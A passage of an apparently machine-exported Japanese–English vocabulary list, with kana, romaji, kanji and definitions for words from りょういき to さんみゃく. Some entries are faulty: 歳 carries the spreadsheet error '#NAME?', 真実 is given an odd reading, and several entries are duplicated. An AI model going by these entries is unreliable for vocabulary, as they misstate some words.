sides\"\n\t},\n\n\t{\n\t\t'kana':'りょういき',\n\t\t'romaji':'ryouiki',\n\t\t'kanji':'領域',\n\t\t'definition':\"area;domain;territory;field;region;regime\"\n\t},\n\n\t{\n\t\t'kana':'りょうじ',\n\t\t'romaji':'ryouji',\n\t\t'kanji':'領事',\n\t\t'definition':\"consul\"\n\t},\n\n\t{\n\t\t'kana':'りょうかい',\n\t\t'romaji':'ryoukai',\n\t\t'kanji':'領海',\n\t\t'definition':\"territorial waters\"\n\t},\n\n\t{\n\t\t'kana':'りょうかい',\n\t\t'romaji':'ryoukai',\n\t\t'kanji':'了解',\n\t\t'definition':\"comprehension;consent;understanding;roger (on the radio)\"\n\t},\n\n\t{\n\t\t'kana':'りょうきん',\n\t\t'romaji':'ryoukin',\n\t\t'kanji':'料金',\n\t\t'definition':\"fee;charge;fare\"\n\t},\n\n\t{\n\t\t'kana':'りょうこう',\n\t\t'romaji':'ryoukou',\n\t\t'kanji':'良好',\n\t\t'definition':\"favorable;satisfactory\"\n\t},\n\n\t{\n\t\t'kana':'りょうきょく',\n\t\t'romaji':'ryoukyoku',\n\t\t'kanji':'両極',\n\t\t'definition':\"both extremities;north and south poles;positive and negative poles\"\n\t},\n\n\t{\n\t\t'kana':'りょうり',\n\t\t'romaji':'ryouri',\n\t\t'kanji':'料理',\n\t\t'definition':\"cooking;cookery;cuisine\"\n\t},\n\n\t{\n\t\t'kana':'りょうりつ',\n\t\t'romaji':'ryouritsu',\n\t\t'kanji':'両立',\n\t\t'definition':\"compatibility;coexistence;standing together\"\n\t},\n\n\t{\n\t\t'kana':'りょうし',\n\t\t'romaji':'ryoushi',\n\t\t'kanji':'漁師',\n\t\t'definition':\"fisherman\"\n\t},\n\n\t{\n\t\t'kana':'りょうしき',\n\t\t'romaji':'ryoushiki',\n\t\t'kanji':'良識',\n\t\t'definition':\"good sense\"\n\t},\n\n\t{\n\t\t'kana':'りょうしん',\n\t\t'romaji':'ryoushin',\n\t\t'kanji':'良心',\n\t\t'definition':\"conscience\"\n\t},\n\n\t{\n\t\t'kana':'りょうしつ',\n\t\t'romaji':'ryoushitsu',\n\t\t'kanji':'良質',\n\t\t'definition':\"good quality;superior quality\"\n\t},\n\n\t{\n\t\t'kana':'りょうしょう',\n\t\t'romaji':'ryoushou',\n\t\t'kanji':'了承',\n\t\t'definition':\"acknowledgement;understanding (e.g. please be understanding of the mess during our renovation)\"\n\t},\n\n\t{\n\t\t'kana':'りょうしゅう',\n\t\t'romaji':'ryoushuu',\n\t\t'kanji':'領収',\n\t\t'definition':\"receipt;voucher\"\n\t},\n\n\t{\n\t\t'kana':'りゅう',\n\t\t'romaji':'ryuu',\n\t\t'kanji':'流',\n\t\t'definition':\"styleof;method of;manner of\"\n\t},\n\n\t{\n\t\t'kana':'りゅうがく',\n\t\t'romaji':'ryuugaku',\n\t\t'kanji':'留学',\n\t\t'definition':\"studying abroad\"\n\t},\n\n\t{\n\t\t'kana':'りゅういき',\n\t\t'romaji':'ryuuiki',\n\t\t'kanji':'流域',\n\t\t'definition':\"(river) basin\"\n\t},\n\n\t{\n\t\t'kana':'りゅうつう',\n\t\t'romaji':'ryuutsuu',\n\t\t'kanji':'流通',\n\t\t'definition':\"circulation of money or goods;flow of water or air;distribution\"\n\t},\n\n\t{\n\t\t'kana':'さ',\n\t\t'romaji':'sa',\n\t\t'kanji':'差',\n\t\t'definition':\"difference;variation\"\n\t},\n\n\t{\n\t\t'kana':'さ',\n\t\t'romaji':'sa',\n\t\t'kanji':'佐',\n\t\t'definition':\"help\"\n\t},\n\n\t{\n\t\t'kana':'さあ',\n\t\t'romaji':'saa',\n\t\t'kanji':'',\n\t\t'definition':\"come (int);come now\"\n\t},\n\n\t{\n\t\t'kana':'さばく',\n\t\t'romaji':'sabaku',\n\t\t'kanji':'砂漠',\n\t\t'definition':\"desert\"\n\t},\n\n\t{\n\t\t'kana':'さばく',\n\t\t'romaji':'sabaku',\n\t\t'kanji':'裁く',\n\t\t'definition':\"to judge\"\n\t},\n\n\t{\n\t\t'kana':'さべつ',\n\t\t'romaji':'sabetsu',\n\t\t'kanji':'差別',\n\t\t'definition':\"discrimination;distinction;differentiation\"\n\t},\n\n\t{\n\t\t'kana':'さび',\n\t\t'romaji':'sabi',\n\t\t'kanji':'錆び',\n\t\t'definition':\"rust (colour)\"\n\t},\n\n\t{\n\t\t'kana':'さびる',\n\t\t'romaji':'sabiru',\n\t\t'kanji':'錆びる',\n\t\t'definition':\"to rust;to become rusty\"\n\t},\n\n\t{\n\t\t'kana':'さびしい',\n\t\t'romaji':'sabishii',\n\t\t'kanji':'寂しい',\n\t\t'definition':\"lonely;lonesome;solitary;desolate\"\n\t},\n\n\t{\n\t\t'kana':'サービス',\n\t\t'romaji':'sa-bisu',\n\t\t'kanji':'',\n\t\t'definition':\"1. service;support system; 2. goods or services without charge\"\n\t},\n\n\t{\n\t\t'kana':'サボる',\n\t\t'romaji':'saboru',\n\t\t'kanji':'',\n\t\t'definition':\"to be truant;to be idle;to sabotage by slowness\"\n\t},\n\n\t{\n\t\t'kana':'さだまる',\n\t\t'romaji':'sadamaru',\n\t\t'kanji':'定まる',\n\t\t'definition':\"to become settled;to be fixed\"\n\t},\n\n\t{\n\t\t'kana':'さだめる',\n\t\t'romaji':'sadameru',\n\t\t'kanji':'定める',\n\t\t'definition':\"to decide;to establish;to determine\"\n\t},\n\n\t{\n\t\t'kana':'さえぎる',\n\t\t'romaji':'saegiru',\n\t\t'kanji':'遮る',\n\t\t'definition':\"to interrupt;to intercept;to obstruct\"\n\t},\n\n\t{\n\t\t'kana':'さえる',\n\t\t'romaji':'saeru',\n\t\t'kanji':'冴える',\n\t\t'definition':\"to be clear;to be serene;to be cold;to be skillful\"\n\t},\n\n\t{\n\t\t'kana':'さえずる',\n\t\t'romaji':'saezuru',\n\t\t'kanji':'囀る',\n\t\t'definition':\"to sing;to chirp;to twitter\"\n\t},\n\n\t{\n\t\t'kana':'さが',\n\t\t'romaji':'saga',\n\t\t'kanji':'性',\n\t\t'definition':\"one's nature;custom;property;characteristic\"\n\t},\n\n\t{\n\t\t'kana':'さが',\n\t\t'romaji':'saga',\n\t\t'kanji':'性',\n\t\t'definition':\"one's nature;custom;property;characteristic\"\n\t},\n\n\t{\n\t\t'kana':'さがく',\n\t\t'romaji':'sagaku',\n\t\t'kanji':'差額',\n\t\t'definition':\"balance;difference;margin\"\n\t},\n\n\t{\n\t\t'kana':'さがる',\n\t\t'romaji':'sagaru',\n\t\t'kanji':'下がる',\n\t\t'definition':\"to hang down;to abate;to retire;to fall;to step back\"\n\t},\n\n\t{\n\t\t'kana':'さがす',\n\t\t'romaji':'sagasu',\n\t\t'kanji':'探す',\n\t\t'definition':\"to search;to seek;to look for\"\n\t},\n\n\t{\n\t\t'kana':'さがす',\n\t\t'romaji':'sagasu',\n\t\t'kanji':'捜す',\n\t\t'definition':\"to search;to seek;to look for\"\n\t},\n\n\t{\n\t\t'kana':'さげる',\n\t\t'romaji':'sageru',\n\t\t'kanji':'下げる',\n\t\t'definition':\"to hang;to lower;to move back;to wear;to dismiss;to grant\"\n\t},\n\n\t{\n\t\t'kana':'さぎ',\n\t\t'romaji':'sagi',\n\t\t'kanji':'詐欺',\n\t\t'definition':\"fraud;swindle\"\n\t},\n\n\t{\n\t\t'kana':'さぐる',\n\t\t'romaji':'saguru',\n\t\t'kanji':'探る',\n\t\t'definition':\"to search;to look for;to sound out\"\n\t},\n\n\t{\n\t\t'kana':'さぎょう',\n\t\t'romaji':'sagyou',\n\t\t'kanji':'作業',\n\t\t'definition':\"work;operation;manufacturing;fatigue duty\"\n\t},\n\n\t{\n\t\t'kana':'さほど',\n\t\t'romaji':'sahodo',\n\t\t'kanji':'左程',\n\t\t'definition':\"(not) very;(not) much\"\n\t},\n\n\t{\n\t\t'kana':'さほう',\n\t\t'romaji':'sahou',\n\t\t'kanji':'作法',\n\t\t'definition':\"manners;etiquette;propriety\"\n\t},\n\n\t{\n\t\t'kana':'さい',\n\t\t'romaji':'sai',\n\t\t'kanji':'歳',\n\t\t'definition':\"#NAME?\"\n\t},\n\n\t{\n\t\t'kana':'さい',\n\t\t'romaji':'sai',\n\t\t'kanji':'差異',\n\t\t'definition':\"difference;disparity\"\n\t},\n\n\t{\n\t\t'kana':'さい',\n\t\t'romaji':'sai',\n\t\t'kanji':'再',\n\t\t'definition':\"re-;again;repeated\"\n\t},\n\n\t{\n\t\t'kana':'さいばい',\n\t\t'romaji':'saibai',\n\t\t'kanji':'栽培',\n\t\t'definition':\"cultivation\"\n\t},\n\n\t{\n\t\t'kana':'さいばん',\n\t\t'romaji':'saiban',\n\t\t'kanji':'裁判',\n\t\t'definition':\"trial;judgement\"\n\t},\n\n\t{\n\t\t'kana':'さいぼう',\n\t\t'romaji':'saibou',\n\t\t'kanji':'細胞',\n\t\t'definition':\"cell (biology)\"\n\t},\n\n\t{\n\t\t'kana':'さいちゅう',\n\t\t'romaji':'saichuu',\n\t\t'kanji':'最中',\n\t\t'definition':\"in the middle of;height of;in course of;midst\"\n\t},\n\n\t{\n\t\t'kana':'さいちゅう',\n\t\t'romaji':'saichuu',\n\t\t'kanji':'最中',\n\t\t'definition':\"in the middle of;height of;in course of;midst\"\n\t},\n\n\t{\n\t\t'kana':'さいふ',\n\t\t'romaji':'saifu',\n\t\t'kanji':'財布',\n\t\t'definition':\"purse;wallet\"\n\t},\n\n\t{\n\t\t'kana':'さいがい',\n\t\t'romaji':'saigai',\n\t\t'kanji':'災害',\n\t\t'definition':\"calamity;disaster;misfortune\"\n\t},\n\n\t{\n\t\t'kana':'さいげん',\n\t\t'romaji':'saigen',\n\t\t'kanji':'再現',\n\t\t'definition':\"reappearance;reproduction;return;revival\"\n\t},\n\n\t{\n\t\t'kana':'さいご',\n\t\t'romaji':'saigo',\n\t\t'kanji':'最後',\n\t\t'definition':\"last;end;conclusion\"\n\t},\n\n\t{\n\t\t'kana':'さいはつ',\n\t\t'romaji':'saihatsu',\n\t\t'kanji':'再発',\n\t\t'definition':\"return;relapse;reoccurrence\"\n\t},\n\n\t{\n\t\t'kana':'さいほう',\n\t\t'romaji':'saihou',\n\t\t'kanji':'裁縫',\n\t\t'definition':\"sewing\"\n\t},\n\n\t{\n\t\t'kana':'さいじつ',\n\t\t'romaji':'saijitsu',\n\t\t'kanji':'祭日',\n\t\t'definition':\"national holiday;festival day\"\n\t},\n\n\t{\n\t\t'kana':'さいかい',\n\t\t'romaji':'saikai',\n\t\t'kanji':'再会',\n\t\t'definition':\"another meeting;meeting again;reunion\"\n\t},\n\n\t{\n\t\t'kana':'さいけん',\n\t\t'romaji':'saiken',\n\t\t'kanji':'再建',\n\t\t'definition':\"rebuilding;reconstruction;rehabilitation\"\n\t},\n\n\t{\n\t\t'kana':'さいけつ',\n\t\t'romaji':'saiketsu',\n\t\t'kanji':'採決',\n\t\t'definition':\"vote;roll call\"\n\t},\n\n\t{\n\t\t'kana':'さいきん',\n\t\t'romaji':'saikin',\n\t\t'kanji':'最近',\n\t\t'definition':\"latest;most recent;nowadays\"\n\t},\n\n\t{\n\t\t'kana':'さいきん',\n\t\t'romaji':'saikin',\n\t\t'kanji':'細菌',\n\t\t'definition':\"bacillus;bacterium;germ\"\n\t},\n\n\t{\n\t\t'kana':'さいこう',\n\t\t'romaji':'saikou',\n\t\t'kanji':'最高',\n\t\t'definition':\"highest;supreme;the most\"\n\t},\n\n\t{\n\t\t'kana':'さいく',\n\t\t'romaji':'saiku',\n\t\t'kanji':'細工',\n\t\t'definition':\"work;craftsmanship;tactics;trick\"\n\t},\n\n\t{\n\t\t'kana':'サイクル',\n\t\t'romaji':'saikuru',\n\t\t'kanji':'',\n\t\t'definition':\"cycle\"\n\t},\n\n\t{\n\t\t'kana':'さいくつ',\n\t\t'romaji':'saikutsu',\n\t\t'kanji':'採掘',\n\t\t'definition':\"mining\"\n\t},\n\n\t{\n\t\t'kana':'サイン',\n\t\t'romaji':'sain',\n\t\t'kanji':'',\n\t\t'definition':\"1. autograph; 2. sign; 3. sine\"\n\t},\n\n\t{\n\t\t'kana':'さいなん',\n\t\t'romaji':'sainan',\n\t\t'kanji':'災難',\n\t\t'definition':\"calamity;misfortune\"\n\t},\n\n\t{\n\t\t'kana':'さいのう',\n\t\t'romaji':'sainou',\n\t\t'kanji':'才能',\n\t\t'definition':\"talent;ability\"\n\t},\n\n\t{\n\t\t'kana':'サイレン',\n\t\t'romaji':'sairen',\n\t\t'kanji':'',\n\t\t'definition':\"siren\"\n\t},\n\n\t{\n\t\t'kana':'さいさん',\n\t\t'romaji':'saisan',\n\t\t'kanji':'再三',\n\t\t'definition':\"again and again;repeatedly\"\n\t},\n\n\t{\n\t\t'kana':'さいさん',\n\t\t'romaji':'saisan',\n\t\t'kanji':'採算',\n\t\t'definition':\"profit\"\n\t},\n\n\t{\n\t\t'kana':'さいせい',\n\t\t'romaji':'saisei',\n\t\t'kanji':'再生',\n\t\t'definition':\"playback;regeneration;resuscitation;return to life;rebirth;reincarnation;narrow escape;reclamation;regrowth\"\n\t},\n\n\t{\n\t\t'kana':'さいしょ',\n\t\t'romaji':'saisho',\n\t\t'kanji':'最初',\n\t\t'definition':\"beginning;outset;first;onset\"\n\t},\n\n\t{\n\t\t'kana':'さいしゅう',\n\t\t'romaji':'saishuu',\n\t\t'kanji':'最終',\n\t\t'definition':\"last;final;closing\"\n\t},\n\n\t{\n\t\t'kana':'さいしゅう',\n\t\t'romaji':'saishuu',\n\t\t'kanji':'採集',\n\t\t'definition':\"collecting;gathering\"\n\t},\n\n\t{\n\t\t'kana':'さいそく',\n\t\t'romaji':'saisoku',\n\t\t'kanji':'催促',\n\t\t'definition':\"request;demand;claim;urge (action);press for\"\n\t},\n\n\t{\n\t\t'kana':'さいたく',\n\t\t'romaji':'saitaku',\n\t\t'kanji':'採択',\n\t\t'definition':\"adoption;selection;choice\"\n\t},\n\n\t{\n\t\t'kana':'さいてい',\n\t\t'romaji':'saitei',\n\t\t'kanji':'最低',\n\t\t'definition':\"least;lowest;worst;nasty;disgusting;fuck you\"\n\t},\n\n\t{\n\t\t'kana':'さいてん',\n\t\t'romaji':'saiten',\n\t\t'kanji':'採点',\n\t\t'definition':\"marking;grading;looking over\"\n\t},\n\n\t{\n\t\t'kana':'さいわい',\n\t\t'romaji':'saiwai',\n\t\t'kanji':'幸い',\n\t\t'definition':\"happiness;blessedness\"\n\t},\n\n\t{\n\t\t'kana':'さいよう',\n\t\t'romaji':'saiyou',\n\t\t'kanji':'採用',\n\t\t'definition':\"use;adopt\"\n\t},\n\n\t{\n\t\t'kana':'さいぜん',\n\t\t'romaji':'saizen',\n\t\t'kanji':'最善',\n\t\t'definition':\"the very best\"\n\t},\n\n\t{\n\t\t'kana':'サイズ',\n\t\t'romaji':'saizu',\n\t\t'kanji':'',\n\t\t'definition':\"size\"\n\t},\n\n\t{\n\t\t'kana':'さじ',\n\t\t'romaji':'saji',\n\t\t'kanji':'些事',\n\t\t'definition':\"something small or petty;trifle\"\n\t},\n\n\t{\n\t\t'kana':'さっか',\n\t\t'romaji':'saka',\n\t\t'kanji':'作家',\n\t\t'definition':\"author;writer;novelist;artist\"\n\t},\n\n\t{\n\t\t'kana':'さか',\n\t\t'romaji':'saka',\n\t\t'kanji':'坂',\n\t\t'definition':\"slope;hill\"\n\t},\n\n\t{\n\t\t'kana':'さかば',\n\t\t'romaji':'sakaba',\n\t\t'kanji':'酒場',\n\t\t'definition':\"bar;bar-room\"\n\t},\n\n\t{\n\t\t'kana':'さかだち',\n\t\t'romaji':'sakadachi',\n\t\t'kanji':'逆立ち',\n\t\t'definition':\"handstand;headstand\"\n\t},\n\n\t{\n\t\t'kana':'さかえる',\n\t\t'romaji':'sakaeru',\n\t\t'kanji':'栄える',\n\t\t'definition':\"to prosper;to flourish\"\n\t},\n\n\t{\n\t\t'kana':'さかい',\n\t\t'romaji':'sakai',\n\t\t'kanji':'境',\n\t\t'definition':\"border;boundary;mental state\"\n\t},\n\n\t{\n\t\t'kana':'さかん',\n\t\t'romaji':'sakan',\n\t\t'kanji':'盛ん',\n\t\t'definition':\"popularity;prosperous\"\n\t},\n\n\t{\n\t\t'kana':'さかのぼる',\n\t\t'romaji':'sakanoboru',\n\t\t'kanji':'逆上る',\n\t\t'definition':\"to go back;to go upstream;to make retroactive\"\n\t},\n\n\t{\n\t\t'kana':'さからう',\n\t\t'romaji':'sakarau',\n\t\t'kanji':'逆らう',\n\t\t'definition':\"to go against;to oppose;to disobey;to defy\"\n\t},\n\n\t{\n\t\t'kana':'さかり',\n\t\t'romaji':'sakari',\n\t\t'kanji':'盛り',\n\t\t'definition':\"summit;peak;prime;be at one's best\"\n\t},\n\n\t{\n\t\t'kana':'さかる',\n\t\t'romaji':'sakaru',\n\t\t'kanji':'盛る',\n\t\t'definition':\"to prosper;to flourish;to copulate (animals)\"\n\t},\n\n\t{\n\t\t'kana':'さかさ',\n\t\t'romaji':'sakasa',\n\t\t'kanji':'逆さ',\n\t\t'definition':\"reverse;inversion;upside down\"\n\t},\n\n\t{\n\t\t'kana':'さかさま',\n\t\t'romaji':'sakasama',\n\t\t'kanji':'逆様',\n\t\t'definition':\"inversion;upside down\"\n\t},\n\n\t{\n\t\t'kana':'さかずき',\n\t\t'romaji':'sakazuki',\n\t\t'kanji':'杯',\n\t\t'definition':\"wine cups\"\n\t},\n\n\t{\n\t\t'kana':'さかずき',\n\t\t'romaji':'sakazuki',\n\t\t'kanji':'杯',\n\t\t'definition':\"wine cups\"\n\t},\n\n\t{\n\t\t'kana':'さけ',\n\t\t'romaji':'sake',\n\t\t'kanji':'酒',\n\t\t'definition':\"alcohol;sake\"\n\t},\n\n\t{\n\t\t'kana':'さけ',\n\t\t'romaji':'sake',\n\t\t'kanji':'酒',\n\t\t'definition':\"alcohol;sake\"\n\t},\n\n\t{\n\t\t'kana':'さけび',\n\t\t'romaji':'sakebi',\n\t\t'kanji':'叫び',\n\t\t'definition':\"shout;scream;outcry\"\n\t},\n\n\t{\n\t\t'kana':'さけぶ',\n\t\t'romaji':'sakebu',\n\t\t'kanji':'叫ぶ',\n\t\t'definition':\"to shout;to cry\"\n\t},\n\n\t{\n\t\t'kana':'さける',\n\t\t'romaji':'sakeru',\n\t\t'kanji':'避ける',\n\t\t'definition':\"to avoid\"\n\t},\n\n\t{\n\t\t'kana':'さける',\n\t\t'romaji':'sakeru',\n\t\t'kanji':'避ける',\n\t\t'definition':\"to avoid\"\n\t},\n\n\t{\n\t\t'kana':'さける',\n\t\t'romaji':'sakeru',\n\t\t'kanji':'裂ける',\n\t\t'definition':\"to split;to tear;to burst\"\n\t},\n\n\t{\n\t\t'kana':'さっき',\n\t\t'romaji':'saki',\n\t\t'kanji':'',\n\t\t'definition':\"some time ago\"\n\t},\n\n\t{\n\t\t'kana':'さき',\n\t\t'romaji':'saki',\n\t\t'kanji':'先',\n\t\t'definition':\"point (e.g. pencil);destination;tip;end;nozzle;head (of a line);the first priority;the future;objective;sequel;remainder;the other party;future;previous;prior;former\"\n\t},\n\n\t{\n\t\t'kana':'さき',\n\t\t'romaji':'saki',\n\t\t'kanji':'先',\n\t\t'definition':\"point (e.g. pencil);destination;tip;end;nozzle;head (of a line);the first priority;the future;objective;sequel;remainder;the other party;future;previous;prior;former\"\n\t},\n\n\t{\n\t\t'kana':'さきほど',\n\t\t'romaji':'sakihodo',\n\t\t'kanji':'先程',\n\t\t'definition':\"some time ago\"\n\t},\n\n\t{\n\t\t'kana':'さきに',\n\t\t'romaji':'sakini',\n\t\t'kanji':'先に',\n\t\t'definition':\"before;earlier than;ahead;beyond;away;previously;recently\"\n\t},\n\n\t{\n\t\t'kana':'さきおととい',\n\t\t'romaji':'sakiototoi',\n\t\t'kanji':'一昨昨日',\n\t\t'definition':\"two days before yesterday\"\n\t},\n\n\t{\n\t\t'kana':'さっかく',\n\t\t'romaji':'sakkaku',\n\t\t'kanji':'錯覚',\n\t\t'definition':\"optical illusion;hallucination\"\n\t},\n\n\t{\n\t\t'kana':'さく',\n\t\t'romaji':'saku',\n\t\t'kanji':'昨',\n\t\t'definition':\"last (year);yesterday\"\n\t},\n\n\t{\n\t\t'kana':'さく',\n\t\t'romaji':'saku',\n\t\t'kanji':'裂く',\n\t\t'definition':\"to tear;to split\"\n\t},\n\n\t{\n\t\t'kana':'さく',\n\t\t'romaji':'saku',\n\t\t'kanji':'咲く',\n\t\t'definition':\"to bloom\"\n\t},\n\n\t{\n\t\t'kana':'さく',\n\t\t'romaji':'saku',\n\t\t'kanji':'柵',\n\t\t'definition':\"fence;paling\"\n\t},\n\n\t{\n\t\t'kana':'さく',\n\t\t'romaji':'saku',\n\t\t'kanji':'策',\n\t\t'definition':\"plan;policy\"\n\t},\n\n\t{\n\t\t'kana':'さく',\n\t\t'romaji':'saku',\n\t\t'kanji':'作',\n\t\t'definition':\"a work;a harvest\"\n\t},\n\n\t{\n\t\t'kana':'さくぶん',\n\t\t'romaji':'sakubun',\n\t\t'kanji':'作文',\n\t\t'definition':\"composition;writing\"\n\t},\n\n\t{\n\t\t'kana':'さくぶつ',\n\t\t'romaji':'sakubutsu',\n\t\t'kanji':'作物',\n\t\t'definition':\"literary work\"\n\t},\n\n\t{\n\t\t'kana':'さくげん',\n\t\t'romaji':'sakugen',\n\t\t'kanji':'削減',\n\t\t'definition':\"cut;reduction;curtailment\"\n\t},\n\n\t{\n\t\t'kana':'さくご',\n\t\t'romaji':'sakugo',\n\t\t'kanji':'錯誤',\n\t\t'definition':\"mistake\"\n\t},\n\n\t{\n\t\t'kana':'さくひん',\n\t\t'romaji':'sakuhin',\n\t\t'kanji':'作品',\n\t\t'definition':\"work;opus;performance;production\"\n\t},\n\n\t{\n\t\t'kana':'さくいん',\n\t\t'romaji':'sakuin',\n\t\t'kanji':'索引',\n\t\t'definition':\"index;indices\"\n\t},\n\n\t{\n\t\t'kana':'さくじょ',\n\t\t'romaji':'sakujyo',\n\t\t'kanji':'削除',\n\t\t'definition':\"elimination;cancellation;deletion;erasure\"\n\t},\n\n\t{\n\t\t'kana':'さくら',\n\t\t'romaji':'sakura',\n\t\t'kanji':'桜',\n\t\t'definition':\"cherry blossom;cherry tree\"\n\t},\n\n\t{\n\t\t'kana':'サークル',\n\t\t'romaji':'sa-kuru',\n\t\t'kanji':'',\n\t\t'definition':\"circle;sports club (i.e. at a company)\"\n\t},\n\n\t{\n\t\t'kana':'さくせい',\n\t\t'romaji':'sakusei',\n\t\t'kanji':'作成',\n\t\t'definition':\"frame;draw up;make;producing;creating;preparing;writing\"\n\t},\n\n\t{\n\t\t'kana':'さくせん',\n\t\t'romaji':'sakusen',\n\t\t'kanji':'作戦',\n\t\t'definition':\"military or naval operations;tactics;strategy\"\n\t},\n\n\t{\n\t\t'kana':'さくしゃ',\n\t\t'romaji':'sakusha',\n\t\t'kanji':'作者',\n\t\t'definition':\"author;authoress\"\n\t},\n\n\t{\n\t\t'kana':'さっきょく',\n\t\t'romaji':'sakyoku',\n\t\t'kanji':'作曲',\n\t\t'definition':\"composition;setting (of music)\"\n\t},\n\n\t{\n\t\t'kana':'さっきゅう',\n\t\t'romaji':'sakyuu',\n\t\t'kanji':'早急',\n\t\t'definition':\"urgent\"\n\t},\n\n\t{\n\t\t'kana':'さま',\n\t\t'romaji':'sama',\n\t\t'kanji':'様',\n\t\t'definition':\"Mr. or Mrs.;manner;kind;appearance\"\n\t},\n\n\t{\n\t\t'kana':'さま',\n\t\t'romaji':'sama',\n\t\t'kanji':'様',\n\t\t'definition':\"Mr. or Mrs.;manner;kind;appearance\"\n\t},\n\n\t{\n\t\t'kana':'さま',\n\t\t'romaji':'sama',\n\t\t'kanji':'様',\n\t\t'definition':\"Mr. or Mrs.;manner;kind;appearance\"\n\t},\n\n\t{\n\t\t'kana':'さます',\n\t\t'romaji':'samasu',\n\t\t'kanji':'覚ます',\n\t\t'definition':\"to awaken\"\n\t},\n\n\t{\n\t\t'kana':'さます',\n\t\t'romaji':'samasu',\n\t\t'kanji':'冷ます',\n\t\t'definition':\"to cool;to dampen;to let cool;to throw a damper on;to spoil\"\n\t},\n\n\t{\n\t\t'kana':'さまたげる',\n\t\t'romaji':'samatageru',\n\t\t'kanji':'妨げる',\n\t\t'definition':\"to disturb;to prevent\"\n\t},\n\n\t{\n\t\t'kana':'さまざま',\n\t\t'romaji':'samazama',\n\t\t'kanji':'様々',\n\t\t'definition':\"varied;various\"\n\t},\n\n\t{\n\t\t'kana':'さめる',\n\t\t'romaji':'sameru',\n\t\t'kanji':'覚める',\n\t\t'definition':\"to wake;to wake up\"\n\t},\n\n\t{\n\t\t'kana':'さめる',\n\t\t'romaji':'sameru',\n\t\t'kanji':'冷める',\n\t\t'definition':\"to become cool;to wear off;to abate;to subside;to dampen;to cool down (interest);to come down (fever)\"\n\t},\n\n\t{\n\t\t'kana':'さみせん',\n\t\t'romaji':'samisen',\n\t\t'kanji':'三味線',\n\t\t'definition':\"three-stringed Japanese guitar;shamisen\"\n\t},\n\n\t{\n\t\t'kana':'さも',\n\t\t'romaji':'samo',\n\t\t'kanji':'然も',\n\t\t'definition':\"with gusto;with satisfaction\"\n\t},\n\n\t{\n\t\t'kana':'さむい',\n\t\t'romaji':'samui',\n\t\t'kanji':'寒い',\n\t\t'definition':\"cold (e.g. weather)\"\n\t},\n\n\t{\n\t\t'kana':'さむらい',\n\t\t'romaji':'samurai',\n\t\t'kanji':'侍',\n\t\t'definition':\"Samurai;warrior\"\n\t},\n\n\t{\n\t\t'kana':'さん',\n\t\t'romaji':'san',\n\t\t'kanji':'',\n\t\t'definition':\"Mr or Mrs\"\n\t},\n\n\t{\n\t\t'kana':'さん',\n\t\t'romaji':'san',\n\t\t'kanji':'三',\n\t\t'definition':\"(num) three\"\n\t},\n\n\t{\n\t\t'kana':'さん',\n\t\t'romaji':'san',\n\t\t'kanji':'酸',\n\t\t'definition':\"acid\"\n\t},\n\n\t{\n\t\t'kana':'さな',\n\t\t'romaji':'sana',\n\t\t'kanji':'真実',\n\t\t'definition':\"truth;reality\"\n\t},\n\n\t{\n\t\t'kana':'さんび',\n\t\t'romaji':'sanbi',\n\t\t'kanji':'賛美',\n\t\t'definition':\"praise;adoration;glorification\"\n\t},\n\n\t{\n\t\t'kana':'さんぶつ',\n\t\t'romaji':'sanbutsu',\n\t\t'kanji':'産物',\n\t\t'definition':\"product;result;fruit\"\n\t},\n\n\t{\n\t\t'kana':'さんち',\n\t\t'romaji':'sanchi',\n\t\t'kanji':'産地',\n\t\t'definition':\"producing area\"\n\t},\n\n\t{\n\t\t'kana':'サンダル',\n\t\t'romaji':'sandaru',\n\t\t'kanji':'',\n\t\t'definition':\"sandal\"\n\t},\n\n\t{\n\t\t'kana':'サンドイッチ',\n\t\t'romaji':'sandoichi',\n\t\t'kanji':'',\n\t\t'definition':\"sandwich\"\n\t},\n\n\t{\n\t\t'kana':'さんふじんか',\n\t\t'romaji':'sanfujinka',\n\t\t'kanji':'産婦人科',\n\t\t'definition':\"maternity and gynecology department\"\n\t},\n\n\t{\n\t\t'kana':'さんがく',\n\t\t'romaji':'sangaku',\n\t\t'kanji':'山岳',\n\t\t'definition':\"mountains\"\n\t},\n\n\t{\n\t\t'kana':'さんぎいん',\n\t\t'romaji':'sangiin',\n\t\t'kanji':'参議院',\n\t\t'definition':\"House of Councillors\"\n\t},\n\n\t{\n\t\t'kana':'さんご',\n\t\t'romaji':'sango',\n\t\t'kanji':'産後',\n\t\t'definition':\"postpartum;after childbirth\"\n\t},\n\n\t{\n\t\t'kana':'さんぎょう',\n\t\t'romaji':'sangyou',\n\t\t'kanji':'産業',\n\t\t'definition':\"industry\"\n\t},\n\n\t{\n\t\t'kana':'さんじょう',\n\t\t'romaji':'sanjyou',\n\t\t'kanji':'参上',\n\t\t'definition':\"calling on;visiting\"\n\t},\n\n\t{\n\t\t'kana':'さんか',\n\t\t'romaji':'sanka',\n\t\t'kanji':'参加',\n\t\t'definition':\"participation\"\n\t},\n\n\t{\n\t\t'kana':'さんか',\n\t\t'romaji':'sanka',\n\t\t'kanji':'酸化',\n\t\t'definition':\"oxidation\"\n\t},\n\n\t{\n\t\t'kana':'さんかく',\n\t\t'romaji':'sankaku',\n\t\t'kanji':'三角',\n\t\t'definition':\"triangle;triangular\"\n\t},\n\n\t{\n\t\t'kana':'さんこう',\n\t\t'romaji':'sankou',\n\t\t'kanji':'参考',\n\t\t'definition':\"reference;consultation\"\n\t},\n\n\t{\n\t\t'kana':'さんきょう',\n\t\t'romaji':'sankyou',\n\t\t'kanji':'桟橋',\n\t\t'definition':\"wharf;bridge;jetty;pier\"\n\t},\n\n\t{\n\t\t'kana':'サンキュー',\n\t\t'romaji':'sankyu-',\n\t\t'kanji':'',\n\t\t'definition':\"thank you\"\n\t},\n\n\t{\n\t\t'kana':'さんきゅう',\n\t\t'romaji':'sankyuu',\n\t\t'kanji':'産休',\n\t\t'definition':\"maternity leave\"\n\t},\n\n\t{\n\t\t'kana':'さんみゃく',\n\t\t'romaji':'sanmyaku',\n\t\t'kanji':'山脈',\n\t\t'definition':\"mountain 